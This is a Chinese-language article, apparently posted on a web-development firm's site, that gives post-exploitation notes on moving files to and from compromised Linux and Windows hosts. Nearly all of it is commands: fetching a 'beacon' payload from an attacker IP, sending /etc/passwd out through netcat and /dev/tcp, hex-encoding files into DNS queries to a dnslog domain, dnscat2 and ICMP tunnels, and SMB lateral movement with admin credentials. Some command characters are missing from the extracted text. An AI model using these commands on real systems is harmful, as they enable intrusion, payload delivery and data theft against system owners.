十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

后渗透文件传输

后渗透文件传输 后渗透文件传输完整笔记Linux靶机文件传输方法1Python3 HTTP服务 curl靶机下载只下载不能原生上传环境条件靶机可以访问攻击机、靶机有curl完整过程攻击机把待传输文件放入目录开启HTTP服务cd /root/tools python3 -m http.server 8000当前目录全部文件对外暴露访问地址http://192.168.1.100:8000靶机curl下载#普通http curl http://192.168.1.100:8000/beacon -o /tmp/beacon #自签名HTTPS-k跳过证书校验 curl -k https://192.168.1.100:8443/beacon -o /tmp/beacon #赋予执行权限 chmod x /tmp/beacon校验完整性攻击机、靶机两边md5对比md5sum /tmp/beacon✅优点标准HTTP协议稳定不需要向靶机上传任何程序 ❌缺点原生不支持上传文件方法2Python3 HTTP服务 wget靶机下载环境条件靶机可以访问攻击机、靶机有wget完整过程攻击机python3 -m http.server 8000靶机执行wget http://192.168.1.100:8000/beacon -O /tmp/beacon #https自签证书 wget --no-check-certificate https://192.168.1.100:8443/beacon -O /tmp/beacon chmod x /tmp/beacon md5sum /tmp/beacon✅优点支持‑c断点续传可以递归下载整个目录 ❌缺点仅下载无法上传方法3nc(netcat)裸TCP传输【双向下载 / 上传】⚠️靶机必须存在nc二进制OpenBSD‑nc没有‑e反弹shell参数但是文件传输不受影响 检查靶机是否具备ncwhich nc3‑1 靶机下载文件攻击机发送文件靶机主动连接获取完整过程攻击机监听端口向外输出文件nc -lvnp 4444 /root/tools/beacon靶机连接攻击机接收数据写入本地磁盘nc 192.168.1.100 4444 /tmp/beacon传输结束CtrlC断开连接校验md5chmod x /tmp/beacon md5sum /tmp/beacon3‑2 靶机上传文件靶机文件传回攻击机完整过程攻击机监听接收网络数据保存为文件nc -lvnp 4444 receive.txt靶机连接攻击机发送本地文件nc 192.168.1.100 4444 /etc/passwd攻击机结束监听读取receive.txt✅优点双向传输额外支持反弹shell、端口转发 ❌缺点裸TCP无上层协议无断点续传大文件容易损坏容器环境经常不带nc方法4/dev/tcp bash内置socket零依赖不需要nc二进制条件靶机有bashsh不支持双向传输4‑1 靶机下载完整过程攻击机监听发送文件nc -lvnp 4444 /root/tools/exp.sh靶机bash执行exec 3/dev/tcp/192.168.1.100/4444;cat 3 /tmp/exp.sh赋权校验chmod x /tmp/exp.sh md5sum /tmp/exp.sh4‑2 靶机上传文件回攻击机完整过程攻击机监听接收nc -lvnp 4444 out.txt靶机exec 3/dev/tcp/192.168.1.100/4444;cat /etc/passwd 3✅优点不需要任何外部二进制容器无nc环境首选 ❌缺点仅bash可用防火墙拦截端口直接失效方法5Base64粘贴传输【靶机完全不能出网只能复制粘贴回显】条件靶机可以执行命令能够复制粘贴文本不需要网络完整过程攻击机二进制转base64‑w0关闭自动换行base64 -w0 /root/tools/beacon beacon.b64复制beacon.b64全部base64字符串靶机粘贴字符串解码写入文件echo 粘贴复制的全部base64字符串 | base64 -d /tmp/beacon chmod x /tmp/beacon md5sum /tmp/beacon注意大文件base64字符串过长终端会截断需要split分割成多段处理✅优点完全不需要网络依靠命令回显复制粘贴即可 ❌缺点不适合大体积文件方法6脚本语言下载靶机无curl/wget但有python3条件靶机能出网系统存在python3 完整过程攻击机开启http服务python3 -m http.server 8000靶机单行python代码下载python3 -c import urllib.request;urllib.request.urlretrieve(http://192.168.1.100:8000/beacon,/tmp/beacon)赋权校验chmod x /tmp/beacon md5sum /tmp/beacon方法7scp SSH文件传输条件靶机开启sshd服务拥有有效账号密码 完整过程#攻击机推送本地文件到靶机 scp /root/tools/beacon root192.168.1.20:/tmp #攻击机从靶机下载文件到本机 scp root192.168.1.20:/etc/passwd ./pass.txt✅优点加密稳定双向传输 ❌缺点需要ssh账号目标必须开启ssh服务方法8SFTPSSH交互式文件传输拓展补充底层基于SSH协议端口22靶机开启sshd就自带sftp服务不需要额外安装 条件靶机sshd开启拥有账号密码 完整过程攻击机连接靶机sftp#默认22端口 sftp root192.168.1.20 #非标准端口 sftp -P 2222 root192.168.1.20进入sftp交互命令行get /tmp/beacon #下载靶机文件到攻击机本地 put /root/tools/beacon #上传攻击机本地文件到靶机 ls #查看靶机目录 lls #查看攻击机本地目录 lcd /root/tools #切换攻击机本地目录 cd /tmp #切换靶机远程目录 exit #退出sftp递归传输文件夹get -r /var/www #下载靶机整个目录 put -r /root/tools #上传整个目录到靶机✅优点交互式支持目录递归上传下载加密和ssh复用端口 ❌缺点依赖22端口ssh服务需要账号密码方法9TFTPUDP 69端口老旧系统条件靶机存在tftp客户端UDP 69端口放行 完整过程攻击机kali启动atftpd服务apt install atftpd atftpd --daemon --port 69 /root/tools靶机下载文件tftp 192.168.1.100 tftp binary tftp get beacon tftp quit✅优点老旧嵌入式、老系统自带 ❌缺点UDP协议容易丢包现代系统默认移除tftp客户端方法10DNSlog轻量DNS外带xxdhost/nslookupCTF高频新增场景靶机无回显TCP全拦截仅允许DNS53出站不需要上传客户端使用系统自带xxd、host/nslookup只适合小文件。 原理把文件转hex十六进制分片每一片作为子域名发起DNS查询DNSlog平台捕获DNS请求拿到hex分片本地拼接后还原原始文件。完整命令host版本cat 3.txt| xxd -p -c 16 | while read line; do host $line.gysctf5.dnslog.cn; donenslookup兼容版本无host命令时cat 3.txt| xxd -p -c 16 | while read line; do nslookup $line.gysctf5.dnslog.cn; done完整操作流程靶机执行上面整条命令靶机本身无输出数据全部藏在DNS查询包。xxd -p输出纯十六进制hex-c 16每16字节分片规避域名63字节长度限制。打开dnslog.cn查看DNS查询日志按时间顺序复制所有子域名前缀每一段就是hex分片。将全部hex分片拼接为一整条完整十六进制字符串kali本地还原文件#方式1直接echo还原 echo 拼接完成完整hex字符串 | xxd -r -p out.txt #方式2hex字符串保存到hex.txt文件 xxd -r -p hex.txt out.txt✅优点单行shell无需上传任何程序利用DNSlog公网平台不需要自己搭建服务端。 ❌缺点手动拼接分片操作繁琐仅适合小文件高频DNS查询容易被IDS检测。注意域名单段最大63字符‑c参数不要设置过大二进制文件(exe/elf)同样可以直接外带xxd‑r‑p直接还原二进制。方法11dnscat2 DNS隧道高级完整隧道使用场景防火墙封禁全部TCP出站仅允许DNS UDP53出站只适合小文件速度很慢 条件需要公网VPS做服务端靶机上传dnscat2客户端二进制 完整过程攻击机公网VPS部署dnscat2服务端git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install ruby ./dnscat2.rb启动后输出连接secret密钥将dnscat2客户端上传到靶机靶机执行./dnscat2 --dns serverVPS_IP,port53 --secret服务端输出的secret密钥攻击机控制台拿到会话window -i 1进入会话使用upload / download命令完成文件传输✅优点流量伪装DNS查询自动分包重组绕过严格出站策略 ❌缺点需要上传客户端二进制速度极慢仅适合小文件需要公网服务器资源方法12ICMP隧道文件传输icmpsh / pingtunnel使用场景只允许ping(ICMP)出站其他全部拦截 完整过程icmpsh攻击机kali关闭icmp应答sysctl -w net.ipv4.icmp_echo_ignore_all1 python icmpsh_m.py 192.168.1.100 192.168.1.20靶机运行icmpsh客户端建立ICMP隧道之后隧道内完成文件上传下载✅优点走ICMP ping数据包 ❌缺点需要上传客户端速度慢大部分IDS检测异常ICMP载荷Windows靶机文件传输Windows系统原生没有ncnc需要上传ncat.exepowershell、bitsadmin、net use系统自带方法1PowerShell iwr下载条件靶机能访问攻击机powershell可用 完整过程攻击机开启http服务cd /root/tools python3 -m http.server 8000Windows靶机powershell临时绕过执行策略仅当前进程生效不改系统配置Set‑ExecutionPolicy Bypass‑Scope Process下载文件iwr -uri http://192.168.1.100:8000/beacon.exe -outfile C:\tmp\beacon.exe兼容老版本PowerShell写法(New‑Object System.Net.WebClient).DownloadFile(http://192.168.1.100:8000/beacon.exe,C:\tmp\beacon.exe)✅优点系统自带不用上传exeWindows下载首选 ❌缺点产生powershell日志部分环境会拦截方法2BitsAdmin后台下载条件BITS服务开启靶机能访问攻击机 完整过程攻击机开启http服务python3 -m http.server 8000Windows靶机cmd执行bitsadmin /transfer myjob /download /priority high http://192.168.1.100:8000/beacon.exe C:\tmp\beacon.exemyjob为自定义任务名旧版Windows bitsadmin不支持HTTPS✅优点后台断点续传部分杀软较少拦截 ❌缺点旧版本不支持https任务会在系统残留方法3Windows Base64粘贴传输【靶机不能出网】条件靶机可以执行powershell可粘贴文本不需要网络 完整过程攻击机将exe转为base64字符串[Convert]::ToBase64String([IO.File]::ReadAllBytes(beacon.exe)) beacon.b64复制全部base64文本Windows靶机powershell粘贴执行$b64粘贴全部base64字符串; [IO.File]::WriteAllBytes(C:\tmp\beacon.exe,[Convert]::FromBase64String($b64))注意cmd单行命令长度有限大文件必须分段处理✅优点不需要网络不需要出网 ❌缺点不适合大文件方法4net use SMB共享内网445端口条件内网环境445端口互通仅限内网使用公网基本被防火墙拦截完整过程Kali攻击机启动impacket smbserver共享python3 smbserver.py share ./tools -smb2supportshare共享名./tools是攻击机本地目录Windows靶机cmd建立SMB会话net use \\192.168.1.100\share下载攻击机共享文件复制到靶机copy \\192.168.1.100\share\beacon.exe C:\tmp\beacon.exe上传靶机文件传回攻击机共享目录copy C:\flag.txt \\192.168.1.100\share\用完必须断开会话防止会话残留net use \\192.168.1.100\share /del拓展Windows横向IPC$ C$默认共享拿到管理员账号密码#建立IPC会话 net use \\192.168.1.20\IPC$ Admin123 /user:Administrator #拷贝文件到目标机器C盘 copy C:\tmp\beacon.exe \\192.168.1.20\C$\Windows\Temp\ #批量删除全部会话 net use * /del /y✅优点Windows原生命令不用上传程序双向传输 ❌缺点445流量高危告警公网防火墙拦截很多机器关闭C$默认共享方法5Windows使用ncat.exe条件必须先把ncat.exe上传到Windows靶机 完整过程先通过powershell/bitsadmin/smb把kali的/usr/share/ncat/ncat.exe传到靶机C:\tmp攻击机监听nc -lvnp 4444 beacon.exeWindows靶机cmd执行ncat下载文件ncat.exe 192.168.1.100 4444 C:\tmp\beacon.exe✅优点裸TCP双向传输 ❌缺点需要上传exe容易被杀软拦截不做优先选择Windows下SFTP使用条件Windows10 1809之后自带sftp客户端目标机器开启ssh服务sftp root192.168.1.20 get /tmp/flag.txt put C:\tmp\beacon.exe /tmp exit实战选择逻辑✅靶机可以出网Linux优先 python http curl/wgetWindows优先 powershell iwr / bitsadmin✅需要把靶机文件上传/外带回攻击机Linuxnc、/dev/tcp、scp、sftp、DNSlog DNS外带TCP全部拦截时Windowsnet use(smb)、上传ncat✅靶机完全不能出网Linux/Windowsbase64粘贴复制✅Linux没有nc二进制使用/dev/tcp不要硬上nc✅防火墙严格限制出站仅放行DNS53小文件优先DNSlog单行xxdhost外带无需上传程序大文件用dnscat2✅防火墙仅放行ICMP(ping)使用ICMP隧道✅内网横向Windowsnet use SMB公网不要使用445端口重要提醒文件传输结束尽量校验md5避免文件损坏无法运行。
返回列表